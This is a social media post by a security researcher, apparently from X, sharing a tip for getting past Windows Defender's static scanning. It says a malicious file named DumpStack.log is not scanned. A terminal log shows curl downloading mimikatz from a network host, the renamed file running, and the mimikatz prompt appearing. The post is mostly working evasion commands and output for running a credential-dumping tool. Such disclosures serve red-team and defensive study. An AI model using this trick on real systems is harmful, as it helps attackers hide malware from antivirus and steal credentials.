



Settings



Post



mr.d0x
@mrd0x



Bypass Defender AV static detection:

If you name a malicious file DumpStack.log Defender doesn't scan it.

```
C:\Users\mr.d0x\Desktop>curl http://192.168.0.18:8888/mimi.exe -o mimi.exe
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
   100    1323k   100    1323k    0     0   1323k      0  0:00:01 --:--:--  0:00:01 7697k

C:\Users\mr.d0x\Desktop>mimi.exe
The system cannot execute the specified program.

C:\Users\mr.d0x\Desktop>curl http://192.168.0.18:8888/mimi.exe -o DumpStack.log
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
   100    1323k   100    1323k    0     0   1323k      0  0:00:01 --:--:--  0:00:01 8486k

C:\Users\mr.d0x\Desktop>DumpStack.log

.#####.  mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
## / \ ##  /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > https://blog.gentilkiwi.com/mimikatz
'## v #'    Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # coffee

( (
[ ]
[ ]

mimikatz #
```

3:15 PM · Jan 6, 2022

1,055 Reposts 99 Quotes 3,374 Likes 396 Bookmarks



396



Don't miss what's happening

People on X are the first to know.

Log in

Sign up

Welcome to x.com!



We are letting you know that we are changing our URL, but your privacy and data protection settings remain the same.
For more details, see our Privacy Policy: <https://x.com/en/privacy>.

Did someone say ... cookies?

X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. [Show more about your choices.](#)

Accept all cookies

Refuse non-essential cookies